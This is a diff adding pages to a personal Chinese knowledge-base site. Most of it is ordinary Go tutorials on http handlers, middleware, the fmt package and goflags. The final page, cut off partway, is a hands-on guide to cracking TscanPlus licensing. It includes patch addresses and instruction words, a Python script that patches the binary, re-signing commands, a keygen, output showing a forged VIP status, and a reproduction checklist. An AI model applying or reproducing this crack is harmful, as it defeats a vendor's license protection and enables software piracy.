http.HandleFunc("/debug/pprof/trace", Trace)
}
+

所以,我们就可以通过浏览器访问上面地址来看到报告。现在再来看这些代码,我们就明白怎么回事了!

+

自定义处理器(Custom Handlers)​

+

自定义的Handler:

+

标准库http提供了Handler接口,用于开发者实现自己的handler。只要实现接口的ServeHTTP方法即可。

+
package main

import (
"log"
"net/http"
"time"
)

type timeHandler struct {
format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
tm := time.Now().Format(th.format)
w.Write([]byte("The time is: " + tm))
}

func main() {
mux := http.NewServeMux()

th := &timeHandler{format: time.RFC1123}
mux.Handle("/time", th)

log.Println("Listening...")
http.ListenAndServe(":3000", mux)
}
+

我们知道,NewServeMux可以创建一个ServeMux实例,ServeMux同时也实现了ServeHTTP方法,因此代码中的mux也是一种handler。把它当成参数传给http.ListenAndServe方法,后者会把mux传给Server实例。因为指定了handler,因此整个http服务就不再是DefaultServeMux,而是mux,无论是在注册路由还是提供请求服务的时候。

+

任何有 func(http.ResponseWriter,*http.Request) 签名的函数都能转化为一个 HandlerFunc 类型。这很有用,因为 HandlerFunc 对象内置了 ServeHTTP 方法,后者可以聪明又方便的调用我们最初提供的函数内容。

+

将函数作为处理器​

+
package main

import (
"log"
"net/http"
"time"
)

func timeHandler(w http.ResponseWriter, r *http.Request) {
tm := time.Now().Format(time.RFC1123)
w.Write([]byte("The time is: " + tm))
}

func main() {
mux := http.NewServeMux()

// Convert the timeHandler function to a HandlerFunc type
th := http.HandlerFunc(timeHandler)
// And add it to the ServeMux
mux.Handle("/time", th)

log.Println("Listening...")
http.ListenAndServe(":3000", mux)
}
+

创建新的server:

+
func index(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")

html := `<doctype html>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<p>
Welcome
</p>
</body>
</html>`
fmt.Fprintln(w, html)
}

func main(){
http.HandleFunc("/", index)

server := &http.Server{
Addr: ":8000",
ReadTimeout: 60 * time.Second,
WriteTimeout: 60 * time.Second,
}
server.ListenAndServe()
}
+

中间件Middleware​

+

所谓中间件,就是连接上下级不同功能的函数或者软件,通常进行一些包裹函数的行为,为被包裹函数提供添加一些功能或行为。前文的HandleFunc就能把签名为 func(w http.ResponseWriter, r *http.Reqeust)的函数包裹成handler。这个函数也算是中间件。

+

Go的http中间件很简单,只要实现一个函数签名为func(http.Handler) http.Handler的函数即可。http.Handler是一个接口,接口方法我们熟悉的为serveHTTP。返回也是一个handler。因为Go中的函数也可以当成变量传递或者或者返回,因此也可以在中间件函数中传递定义好的函数,只要这个函数是一个handler即可,即实现或者被handlerFunc包裹成为handler处理器。

+
func index(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")

html := `<doctype html>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<p>
Welcome
</p>
</body>
</html>`
fmt.Fprintln(w, html)
}

func middlewareHandler(next http.Handler) http.Handler{
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){
// 执行handler之前的逻辑
next.ServeHTTP(w, r)
// 执行完毕handler后的逻辑
})
}

func loggingHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
start := time.Now()
log.Printf("Started %s %s", r.Method, r.URL.Path)
next.ServeHTTP(w, r)
log.Printf("Completed %s in %v", r.URL.Path, time.Since(start))
})
}

func main() {
http.Handle("/", loggingHandler(http.HandlerFunc(index)))

http.ListenAndServe(":8000", nil)
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-fmt/index.html b/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-fmt/index.html new file mode 100644 index 0000000..68dc5ee --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-fmt/index.html @@ -0,0 +1,359 @@ + + + + + +fmt | wjlin0 + + + + + + + +

fmt

+
+

本篇知识,搬运至 Go语言fmt使用指南 | 李文周的博客,如有侵权,联系我下架 。

+
+

fmt包实现了类似C语言printf和scanf的格式化I/O。主要分为向外输出内容和获取输入内容两大部分。

+

向外输出​

+

标准库fmt提供了以下几种输出相关函数。

+

Print​

+

Print系列函数会将内容输出到系统的标准输出,区别在于Print函数直接输出内容,Printf函数支持格式化输出字符串,Println函数会在输出内容的结尾添加一个换行符。

+
func Print(a ...interface{}) (n int, err error)
func Printf(format string, a ...interface{}) (n int, err error)
func Println(a ...interface{}) (n int, err error)
+

举个简单的例子:

+
func main() {
fmt.Print("在终端打印该信息。")
name := "沙河小王子"
fmt.Printf("我是:%s\n", name)
fmt.Println("在终端打印单独一行显示")
}
+

执行上面的代码输出:

+
在终端打印该信息。我是:沙河小王子
在终端打印单独一行显示
+

Fprint​

+

Fprint系列函数会将内容输出到一个io.Writer接口类型的变量w中,我们通常用这个函数往文件中写入内容。

+
func Fprint(w io.Writer, a ...interface{}) (n int, err error)
func Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error)
func Fprintln(w io.Writer, a ...interface{}) (n int, err error)
+

举个例子:

+
// 向标准输出写入内容
fmt.Fprintln(os.Stdout, "向标准输出写入内容")
fileObj, err := os.OpenFile("./xx.txt", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
fmt.Println("打开文件出错,err:", err)
return
}
name := "沙河小王子"
// 向打开的文件句柄中写入内容
fmt.Fprintf(fileObj, "往文件中写如信息:%s", name)
+

注意,只要满足io.Writer接口的类型都支持写入。

+

Sprint​

+

Sprint系列函数会把传入的数据生成并返回一个字符串。

+
func Sprint(a ...interface{}) string
func Sprintf(format string, a ...interface{}) string
func Sprintln(a ...interface{}) string
+

简单的示例代码如下:

+
s1 := fmt.Sprint("沙河小王子")
name := "沙河小王子"
age := 18
s2 := fmt.Sprintf("name:%s,age:%d", name, age)
s3 := fmt.Sprintln("沙河小王子")
fmt.Println(s1, s2, s3)
+

Errorf​

+

Errorf函数根据format参数生成格式化字符串并返回一个包含该字符串的错误。

+
func Errorf(format string, a ...interface{}) error
+

通常使用这种方式来自定义错误类型,例如:

+
err := fmt.Errorf("这是一个错误")
+

Go1.13版本为fmt.Errorf函数新加了一个%w占位符用来生成一个可以包裹Error的Wrapping Error。

+
e := errors.New("原始错误e")
w := fmt.Errorf("Wrap了一个错误%w", e)
+

格式化占位符​

+

*printf系列函数都支持format格式化参数,在这里我们按照占位符将被替换的变量类型划分,方便查询和记忆。

+

通用占位符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%v值的默认格式表示
%+v类似%v,但输出结构体时会添加字段名
%#v值的Go语法表示
%T打印值的类型
%%百分号
+

示例代码如下:

+
fmt.Printf("%v\n", 100)
fmt.Printf("%v\n", false)
o := struct{ name string }{"小王子"}
fmt.Printf("%v\n", o)
fmt.Printf("%#v\n", o)
fmt.Printf("%T\n", o)
fmt.Printf("100%%\n")
+

输出结果如下:

+
100
false
{小王子}
struct { name string }{name:"小王子"}
struct { name string }
100%
+

布尔型​

+ + + + + + + + + + + + + +
占位符说明
%ttrue或false
+

整型​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%b表示为二进制
%c该值对应的unicode码值
%d表示为十进制
%o表示为八进制
%x表示为十六进制,使用a-f
%X表示为十六进制,使用A-F
%U表示为Unicode格式:U+1234,等价于”U+%04X”
%q该值对应的单引号括起来的go语法字符字面值,必要时会采用安全的转义表示
+

示例代码如下:

+
n := 65
fmt.Printf("%b\n", n)
fmt.Printf("%c\n", n)
fmt.Printf("%d\n", n)
fmt.Printf("%o\n", n)
fmt.Printf("%x\n", n)
fmt.Printf("%X\n", n)
+

输出结果如下:

+
1000001
A
65
101
41
41
+

浮点数与复数​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%b无小数部分、二进制指数的科学计数法,如-123456p-78
%e科学计数法,如-1234.456e+78
%E科学计数法,如-1234.456E+78
%f有小数部分但无指数部分,如123.456
%F等价于%f
%g根据实际情况采用%e或%f格式(以获得更简洁、准确的输出)
%G根据实际情况采用%E或%F格式(以获得更简洁、准确的输出)
+

示例代码如下:

+
f := 12.34
fmt.Printf("%b\n", f)
fmt.Printf("%e\n", f)
fmt.Printf("%E\n", f)
fmt.Printf("%f\n", f)
fmt.Printf("%g\n", f)
fmt.Printf("%G\n", f)
+

输出结果如下:

+
6946802425218990p-49
1.234000e+01
1.234000E+01
12.340000
12.34
12.34
+

字符串和[]byte​

+ + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%s直接输出字符串或者[]byte
%q该值对应的双引号括起来的go语法字符串字面值,必要时会采用安全的转义表示
%x每个字节用两字符十六进制数表示(使用a-f
%X每个字节用两字符十六进制数表示(使用A-F)
+

示例代码如下:

+
s := "小王子"
fmt.Printf("%s\n", s)
fmt.Printf("%q\n", s)
fmt.Printf("%x\n", s)
fmt.Printf("%X\n", s)
+

输出结果如下:

+
小王子
"小王子"
e5b08fe78e8be5ad90
E5B08FE78E8BE5AD90
+

指针​

+ + + + + + + + + + + + + +
占位符说明
%p表示为十六进制,并加上前导的0x
+

示例代码如下:

+
a := 10
fmt.Printf("%p\n", &a)
fmt.Printf("%#p\n", &a)
+

输出结果如下:

+
0xc000094000
c000094000
+

宽度标识符​

+

宽度通过一个紧跟在百分号后面的十进制数指定,如果未指定宽度,则表示值时除必需之外不作填充。精度通过(可选的)宽度后跟点号后跟的十进制数指定。如果未指定精度,会使用默认精度;如果点号后没有跟数字,表示精度为0。举例如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%f默认宽度,默认精度
%9f宽度9,默认精度
%.2f默认宽度,精度2
%9.2f宽度9,精度2
%9.f宽度9,精度0
+

示例代码如下:

+
n := 12.34
fmt.Printf("%f\n", n)
fmt.Printf("%9f\n", n)
fmt.Printf("%.2f\n", n)
fmt.Printf("%9.2f\n", n)
fmt.Printf("%9.f\n", n)
+

输出结果如下:

+
12.340000
12.340000
12.34
12.34
12
+

其他flag​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
’+’总是输出数值的正负号;对%q(%+q)会生成全部是ASCII字符的输出(通过转义);
’ ‘对数值,正数前加空格而负数前加负号;对字符串采用%x或%X时(% x或% X)会给各打印的字节之间加空格
’-’在输出右边填充空白而不是默认的左边(即从默认的右对齐切换为左对齐);
’#’八进制数前加0(%#o),十六进制数前加0x(%#x)或0X(%#X),指针去掉前面的0x(%#p)对%q(%#q),对%U(%#U)会输出空格和单引号括起来的go字面值;
‘0’使用0而不是空格填充,对于数值类型会把填充的0放在正负号后面;
+

举个例子:

+
s := "小王子"
fmt.Printf("%s\n", s)
fmt.Printf("%5s\n", s)
fmt.Printf("%-5s\n", s)
fmt.Printf("%5.7s\n", s)
fmt.Printf("%-5.7s\n", s)
fmt.Printf("%5.2s\n", s)
fmt.Printf("%05s\n", s)
+

输出结果如下:

+
小王子
小王子
小王子
小王子
小王子
小王
00小王子
+

获取输入​

+

Go语言fmt包下有fmt.Scan、fmt.Scanf、fmt.Scanln三个函数,可以在程序运行过程中从标准输入获取用户的输入。

+

fmt.Scan​

+

函数定签名如下:

+
func Scan(a ...interface{}) (n int, err error)
+
    +
  • Scan从标准输入扫描文本,读取由空白符分隔的值保存到传递给本函数的参数中,换行符视为空白符。
  • +
  • 本函数返回成功扫描的数据个数和遇到的任何错误。如果读取的数据个数比提供的参数少,会返回一个错误报告原因。
  • +
+

具体代码示例如下:

+
func main() {
var (
name string
age int
married bool
)
fmt.Scan(&name, &age, &married)
fmt.Printf("扫描结果 name:%s age:%d married:%t \n", name, age, married)
}
+

将上面的代码编译后在终端执行,在终端依次输入小王子、28和false使用空格分隔。

+
$ ./scan_demo 
小王子 28 false
扫描结果 name:小王子 age:28 married:false
+

fmt.Scan从标准输入中扫描用户输入的数据,将以空白符分隔的数据分别存入指定的参数。

+

fmt.Scanf​

+

函数签名如下:

+
func Scanf(format string, a ...interface{}) (n int, err error)
+
    +
  • Scanf从标准输入扫描文本,根据format参数指定的格式去读取由空白符分隔的值保存到传递给本函数的参数中。
  • +
  • 本函数返回成功扫描的数据个数和遇到的任何错误。
  • +
+

代码示例如下:

+
func main() {
var (
name string
age int
married bool
)
fmt.Scanf("1:%s 2:%d 3:%t", &name, &age, &married)
fmt.Printf("扫描结果 name:%s age:%d married:%t \n", name, age, married)
}
+

将上面的代码编译后在终端执行,在终端按照指定的格式依次输入小王子、28和false。

+
$ ./scan_demo 
1:小王子 2:28 3:false
扫描结果 name:小王子 age:28 married:false
+

fmt.Scanf不同于fmt.Scan简单的以空格作为输入数据的分隔符,fmt.Scanf为输入数据指定了具体的输入内容格式,只有按照格式输入数据才会被扫描并存入对应变量。

+

例如,我们还是按照上个示例中以空格分隔的方式输入,fmt.Scanf就不能正确扫描到输入的数据。

+
$ ./scan_demo 
小王子 28 false
扫描结果 name: age:0 married:false
+

fmt.Scanln​

+

函数签名如下:

+
func Scanln(a ...interface{}) (n int, err error)
+
    +
  • Scanln类似Scan,它在遇到换行时才停止扫描。最后一个数据后面必须有换行或者到达结束位置。
  • +
  • 本函数返回成功扫描的数据个数和遇到的任何错误。
  • +
+

具体代码示例如下:

+
func main() {
var (
name string
age int
married bool
)
fmt.Scanln(&name, &age, &married)
fmt.Printf("扫描结果 name:%s age:%d married:%t \n", name, age, married)
}
+

将上面的代码编译后在终端执行,在终端依次输入小王子、28和false使用空格分隔。

+
$ ./scan_demo 
小王子 28 false
扫描结果 name:小王子 age:28 married:false
+

fmt.Scanln遇到回车就结束扫描了,这个比较常用。

+

bufio.NewReader​

+

有时候我们想完整获取输入的内容,而输入的内容可能包含空格,这种情况下可以使用bufio包来实现。示例代码如下:

+
func bufioDemo() {
reader := bufio.NewReader(os.Stdin) // 从标准输入生成读对象
fmt.Print("请输入内容:")
text, _ := reader.ReadString('\n') // 读到换行
text = strings.TrimSpace(text)
fmt.Printf("%#v\n", text)
}
+

Fscan系列​

+

这几个函数功能分别类似于fmt.Scan、fmt.Scanf、fmt.Scanln三个函数,只不过它们不是从标准输入中读取数据而是从io.Reader中读取数据。

+
func Fscan(r io.Reader, a ...interface{}) (n int, err error)
func Fscanln(r io.Reader, a ...interface{}) (n int, err error)
func Fscanf(r io.Reader, format string, a ...interface{}) (n int, err error)
+

Sscan系列​

+

这几个函数功能分别类似于fmt.Scan、fmt.Scanf、fmt.Scanln三个函数,只不过它们不是从标准输入中读取数据而是从指定字符串中读取数据。

+
func Sscan(str string, a ...interface{}) (n int, err error)
func Sscanln(str string, a ...interface{}) (n int, err error)
func Sscanf(str string, format string, a ...interface{}) (n int, err error)
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-goflags/index.html b/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-goflags/index.html new file mode 100644 index 0000000..5027d5a --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-goflags/index.html @@ -0,0 +1,193 @@ + + + + + +goflags | wjlin0 + + + + + + + +

goflags

+
+

[!Tip]

+

本篇文章参考如下,如有侵权,请联系我删除。

+ +
+

License +Go version +Release +Checks

+

An extension of the go flag library that adds convenience functions and functionalities like config file, better usage, short and long flag support, custom types for string slices and maps etc.

+

Features​

+
    +
  • In-built YAML Configuration file support.
  • +
  • Better usage instructions
  • +
  • Short and long flags support
  • +
  • Custom String Slice types with different options (comma-separated,normalized,etc)
  • +
  • Custom Map type
  • +
  • Flags grouping support (CreateGroup,SetGroup)
  • +
+

Usage​

+

The following types are supported by the goflags library. The <name>P suffix means that the flag supports both a long and a short flag for the option.

+

Flag Types​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionDescription
BoolVarBoolean value with long name
BoolVarPBoolean value with long short name
DurationVarTime Duration value with long name
DurationVarPTime Duration value with long short name
IntVarInteger value with long name
IntVarPInteger value with long short name
PortVarPort value with long name
PortVarPPort value with long short name
RuntimeMapVarMap value with long name
RuntimeMapVarPMap value with long short name
StringSliceVarString Slice value with long name and options
StringSliceVarConfigOnlyString Slice value with long name read from config file only
StringSliceVarPString slice value with long short name and options
StringVarString value with long name
StringVarEnvString value with long short name read from environment
StringVarPString value with long short name
VarCustom value with long name implementing flag.Value interface
VarPCustom value with long short name implementing flag.Value interface
EnumVarEnum value with long name
EnumVarPEnum value with long short name
+

String Slice Options​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
String Slice OptionTokenizationNormalizationDescription
StringSliceOptionsNoneNoneDefault String Slice
CommaSeparatedStringSliceOptionsCommaNoneComma-separated string slice
FileCommaSeparatedStringSliceOptionsCommaNoneComma-separated items from file/cli
NormalizedOriginalStringSliceOptionsNoneStandardList of normalized string slice
FileNormalizedStringSliceOptionsCommaStandardList of normalized string slice from file/cli
FileStringSliceOptionsStandardStandardList of string slice from file
NormalizedStringSliceOptionsCommaStandardList of normalized string slice
+

Example​

+

An example showing various options of the library is specified below.

+
package main

import (
"fmt"
"log"

"github.com/projectdiscovery/goflags"
)

type options struct {
silent bool
inputs goflags.StringSlice
config string
values goflags.RuntimeMap
}

const (
Nil goflags.EnumVariable = iota
Type1
Type2
)

func main() {
enumAllowedTypes := goflags.AllowdTypes{"type1": Type1, "type2": Type2}
opt := &options{}

flagSet := goflags.NewFlagSet()
flagSet.SetDescription("Test program to demonstrate goflags options")

flagSet.EnumVarP(&options.Type, "enum-type", "et", Nil, "Variable Type (type1/type2)", enumAllowedTypes)
flagSet.BoolVar(&opt.silent, "silent", true, "show silent output")
flagSet.StringSliceVarP(&opt.inputs, "inputs", "i", nil, "list of inputs (file,comma-separated)", goflags.FileCommaSeparatedStringSliceOptions)

// Group example
flagSet.CreateGroup("config", "Configuration",
flagSet.StringVar(&opt.config, "config", "", "file to read config from"),
flagSet.RuntimeMapVar(&opt.values, "values", nil, "key-value runtime values"),
)
if err := flagSet.Parse(); err != nil {
log.Fatalf("Could not parse flags: %s\n", err)
}
if opt.config != "" {
if err := flagSet.MergeConfigFile(opt.config); err != nil {
log.Fatalf("Could not merge config file: %s\n", err)
}
}
fmt.Printf("silent: %v inputs: %v config: %v values: %v\n", opt.silent, opt.inputs, opt.config, opt.values)
}
+

Thanks​

+
    +
  1. spf13/cobra - For the very nice usage template for the command line.
  2. +
  3. nmap/nmap - For the service-port mapping and top-ports list.
  4. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/index.html b/docs/个人知识库/语言知识/index.html new file mode 100644 index 0000000..1741949 --- /dev/null +++ b/docs/个人知识库/语言知识/index.html @@ -0,0 +1,34 @@ + + + + + +语言知识 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解/index.html b/docs/个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解/index.html new file mode 100644 index 0000000..e7434a7 --- /dev/null +++ b/docs/个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解/index.html @@ -0,0 +1,541 @@ + + + + + +TscanPlus 授权逻辑分析与二进制补丁破解 | wjlin0 + + + + + + + +

TscanPlus 授权逻辑分析与二进制补丁破解

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-10-18 19:35:21
+
+

由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

+
+

结论先说:这是绕过 + 显示层改写,不是 keygen 破解。授权记录走 ECDSA(二进制里只有公钥),激活码无法离线伪造;记录还绑硬件,跨机器不可复用。下面所有"破解"指的是:让校验分支恒不触发,让界面显示 认证Vip版 和一个假日期。

+
+

0. 样本​

+

四份样本,同一套 garble 名字(B0Uu8RPrb2、O7rc6qW0L、Tmfc2rYXRKJT、CSfeFGrv、RVNs3NL5L、XrgIp0N_yO、UNXx_ve6、Ju1zV6nVMwrMz0、PKVcmcz2RL7Dh),但地址每份都不同 —— 用第 9 节的表逐份对照,别把 A 的地址用在 B 上。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
编号样本格式版本分支补丁显示串(2099)实测
A/tmp/ctf/tscan_plusMach-O arm643.5.3✓✗(运行时解码)✓
BTscanPlus_Mac_Amd64.dmg 内 Contents/MacOS/TscanPlusMach-O x86_643.5.4✓✗(未认证 无代码引用)✓(Rosetta)
C~/Downloads/TscanPlus_Win_Amd64.exePE x86-64(UPX)3.5.3✓✓✓(Windows 实测)
D~/Downloads/TscanPlus_Win_Arm64.zip 内 exePE x86-64(UPX,文件名误标 arm64)3.5.4✓✓✓(Windows 实测)
+

产物与脚本:/tmp/ctf_crack/(A)、/tmp/ctf_crack_win/(C)、/tmp/ctf_work/patch_*.py;打包在 ~/Downloads/Tscan_Plus_3.5.4.patched_all.zip。

+

项目为 TideSec TscanPlus(Wails GUI),授权逻辑在 TscanGui/conf + TscanGui/internal/cli。

+
+

1. 授权架构(IDA 定位,样本 A)​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
作用函数地址
CLI 授权闸门(真正校验入口)TscanGui_internal_cli.runLicenseCheck0x102a89330
Key 解析 / 字段校验conf.B0Uu8RPrb20x10047ad30
Key 格式校验conf.Tmfc2rYXRKJT0x100476d10
签名校验 B7CIv4PLX("phase3", f1) == f4conf.O7rc6qW0L0x10047a2c0
时间字段校验 f3 < 1797379200conf.PKVcmcz2RL7Dh0x10047fc10
murmur3-32(seed 0) + nibble 折叠conf.B7CIv4PLX / conf.XSMB4O0fIIE2W0x100476a70 / 0x100470c90
硬件指纹(sysctl CPU 品牌 + 物理网卡 MAC)conf.SOPBYsgV / conf.Z5NrYd0V4gEq0x1004809c0 / 0x100480a70
嵌入常量自一致性校验conf.CSfeFGrv / conf.RVNs3NL5L0x1004ab7f0 / 0x1004ad068
过期判断(永不过期补丁点)conf.Qwprp5uSfv32rKY0x100439230
结果标志conf.XrgIp0N_yO0x100451b70
显示字符串来源(运行时解码,不可静态改)conf.UNXx_ve60x10047f900
+

Key 格式 f1.f2.f3.f4.f5,正则 ^\d+\.\d+\.\d+(\.\d+)?$:

+
    +
  • f2 ≤ 30000
  • +
  • f3 < 1797379200 = 0x6b21d480 → 2026-12-16(我早先记成 2027-02-15,是错的,这里已改)
  • +
  • f5 ∈ 0..5(能力位)
  • +
  • f4 = fold(first8digits(murmur3_32_seed0("phase3"+f1))) ^ 6
  • +
+

核心字节变换(反汇编验证):out[i] = ROR(in[i] ^ (19*i + seed), seed % 8) ^ (seed + i),Yal9faJZY[i] = i*19, +seed(k) = DL1UvTAsmAyf4zI[k] ^ 158(g0=0x7a, g1=0x3b, g2=0x2e, g3=0x5d);C 系列 getter 用固定种子 156/143/125/126。

+
+

2. 方法 B:分支补丁(样本 A,已验证可用)​

+

arm64 无条件跳转:word = 0x14000000 | ((target - addr) / 4 & 0x3FFFFFF)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
地址原指令改为效果写入 word
0x102a89394CBZ → 0x102a893ccB跳过"无效的Key"错误分支0x1400000e
0x102a893d4CBZ → 0x102a893d8B强制走 VIP 分支0x14000001
0x102a893e0TBZ → 0x102a893f4BXrgIp0N_yO 结果被忽略0x14000001
0x1004aba58CBZ → 0x1004abaf8BCSfeFGrv 折叠校验跳过0x14000028
0x1004ad198CBZ → 0x1004ad238BRVNs3NL5L IV 折叠校验跳过0x14000028
0x10043932cTBNZ → 0x100439370B永不过期0x14000011
+

补丁脚本(__text 段:文件偏移 = vaddr − 0x100000000):

+
import struct
f = open('/tmp/ctf/tscan_plus','r+b'); base = 0x100000000
def patch(addr, target):
imm = (target - addr) // 4
f.seek(addr - base); f.write(struct.pack('<I', 0x14000000 | (imm & 0x3FFFFFF)))
for addr, target in [(0x102a89394,0x102a893cc),(0x102a893d4,0x102a893d8),(0x102a893e0,0x102a893e4),
(0x1004aba58,0x1004abaf8),(0x1004ad198,0x1004ad238),(0x10043932c,0x100439370)]:
patch(addr, target)
+

必须重新签名(Mach-O 代码签名覆盖 __text,改字节后不重签名会直接闪退):

+
codesign --remove-signature tscan_plus.cracked
codesign -s - --force tscan_plus.cracked
+
+

3. Keygen(murmur3-32 seed 0 + nibble 折叠)​

+

公式在样本 C 的反汇编里被直接确认过(见 8.4),所以这条是准的 —— 但公式对的 key 仍然不能认证,因为后面还有硬件校验和记录校验。

+
def murmur3_32(data, seed=0):
h = seed; c1, c2 = 0xcc9e2d51, 0x1b873593
for i in range(0, len(data), 4):
k = int.from_bytes(data[i:i+4], 'little')
k = (k*c2 & 0xFFFFFFFF); k = (k<<15 | k>>17) & 0xFFFFFFFF; k = (k*c1) & 0xFFFFFFFF
h ^= k; h = (h<<13 | h>>19) & 0xFFFFFFFF; h = (h*5 + 0xe6546b64) & 0xFFFFFFFF
h ^= len(data)
h ^= h>>16; h = (h*0x85ebca6b) & 0xFFFFFFFF
h ^= h>>13; h = (h*0xc2b2ae35) & 0xFFFFFFFF
h ^= h>>16
return h

def fold(s): # murmur3 十进制结果前 8 位按 base-16 解释
return int(s[:8], 16)

def sig(f1, prefix="phase3"):
return fold(str(murmur3_32((prefix + str(f1)).encode()))) ^ len(prefix)

f1 = 12345
print(f"{f1}.12345.12345.{sig(f1)}.1") # -> 12345.12345.12345.658924676.1
+
+

4. 运行验证(样本 A)​

+

原始二进制:

+
$ ./tscan_plus -license 12345.12345.12345.658924676.1
[ERROR] 认证失败: 无效的Key (exit 1)
+

破解后(方法 B + 重签名):

+
$ ./tscan_plus.cracked -license 12345.12345.12345.658924676.1
Version: 3.5.3 Expired: 2027.06.01 认证Vip版
[INFO] 认证成功,版本类型: 认证Vip版
[INFO] Vip状态: 2027.06.01 (exit 0)
+
+

5. "把 Vip状态 认证到 2099 年" —— 样本 A 上未闭合,原因记录​

+

5.1 为什么不能直接改字符串​

+
    +
  • 全文件在纯文本、XOR、ADD,以及 sub_102B68A44 的字节形态和 int32-rune 形态(反推 256 个种子)下都搜不到 2027.06.01;
  • +
  • Vip状态 走 conf.UNXx_ve6 → *(string*)(ZptlguuF3yD5 + 24),ZptlguuF3yD5 是 conf.Init 运行时构造的堆对象;
  • +
  • 该字符串由 conf.LdJuJbd0Sx07 把 4 段 garble 片段解码后 concatstring4 拼出;conf.init 里另一条 UoEhcDLClOvs3(base64 @0x102DF13F1, 24) 走 AES-CBC,key = IV = TIDETideTidEtide(key = GWKfJgPdH0RoV8iN 的四段 ^0xD8),当前 blob XDO+lmEHawuskT+iyi2twg== 解出 2028.01.01;把 2099.12.31 重新 PKCS7+CBC 加密得 xvUwHiQzJwM6INqkKCYNbw==(正好 24 字符,可原地覆盖)—— 但这条写的是 qword_10974DC20 那个变量,不是 Vip状态 用的那个,所以显示不变。
  • +
+

5.2 试过的"直路"(runtime.printstring)与失败原因​

+

在 runLicenseCheck 的 9 个指令槽 0x102a89420..0x102a89440 改成:

+
movabs x0, <rodata 空闲槽 0x102F00700>   ; 'Vip状态: 2099.12.31\n'(22B,位于 __rodata 未被引用的 61B 空隙 0x102F006F6)
mov x1, #22
bl runtime.printstring
nop; nop; nop; nop
+

编码已逐条用 capstone 反汇编校验(ADRP: immlo 在 bit 29–30、immhi 在 bit 5–23、Rd 在 bit 4–0;BL: 0x94000000 | (imm & 0x3FFFFFF),imm 必须按 bl 自身地址计算;MOVZ/MOVK 基值 0xD2800000 / 0xF2800000 + hw<<21)。

+

实测:

+
    +
  1. 用 IDA 名字里的 runtime.printstring(0x1000492c0)→ fatal error: unexpected signal during runtime execution;
  2. +
  3. 用运行期回溯里真正的 runtime.printstring(0x10076d2c0)→ SIGSEGV code=0x2 addr=0x102f00700。
  4. +
+

原因:0x10076d2c0 会执行 str x1, [x0, #0x18](把类型指针写进 x0)—— 它把第一个参数当作可写的 *String 头,而 __rodata / __DATA_CONST 运行时只读 ⇒ 任何指向 rodata 的字符串都会崩。__bss(0x109744DE0 起)可写但文件里 offset 0、没有静态内容可预填 ⇒ 静态补丁给不出可写的 String 头。要成立必须让头落在运行时堆上(复刻 concatstrings 的 alloc),纯静态补丁做不到。

+

5.3 样本 A 上若仍要 2099,只有两条路​

+
    +
  1. 数据层:完整复刻 TH_VJih0zt 的逐段种子/长度逻辑(种子表与长度来自运行时 relocation,需要动态确认),把 LdJuJbd0Sx07 的 4 段重新编码成 2099/.12/./31,原地覆盖 → Expired 和 Vip状态 会同时变。
  2. +
  3. 动态确认:lldb 断在 runtime.printstring / runtime.convTstring,把运行时真正使用的 ZptlguuF3yD5+24 打出来,再反推 4 段编码。
  4. +
+
+

6. 复现清单​

+
    +
  1. cp /tmp/ctf/tscan_plus /tmp/ctf_crack/tscan_plus.cracked
  2. +
  3. 按第 2 节写 6 个 B 指令(用 capstone 逐条校验 imm)
  4. +
  5. codesign --remove-signature + codesign -s - --force
  6. +
  7. keygen.py 造 key,运行 -license 验证
  8. +
+
+

7. 工具与目录约定(为什么脚本和数据分开放)​

+

规则是:下载/解包的不可信数据各自独占一个空目录,自己写的脚本放在另一个目录(解释器会从脚本所在目录和当前目录加载代码,一个 planted json.py 会在 import json 时执行)。所以样本在 /tmp/ctf/、产物在 /tmp/ctf_crack/、脚本在 /tmp/ctf_work/,读数据的 Python 一律 python3 -I。

+
+

8. Windows 版(样本 C)—— IDA 里看不到函数/字符串的原因与破解​

+

8.1 为什么 IDA 的 IDB 是空的​

+

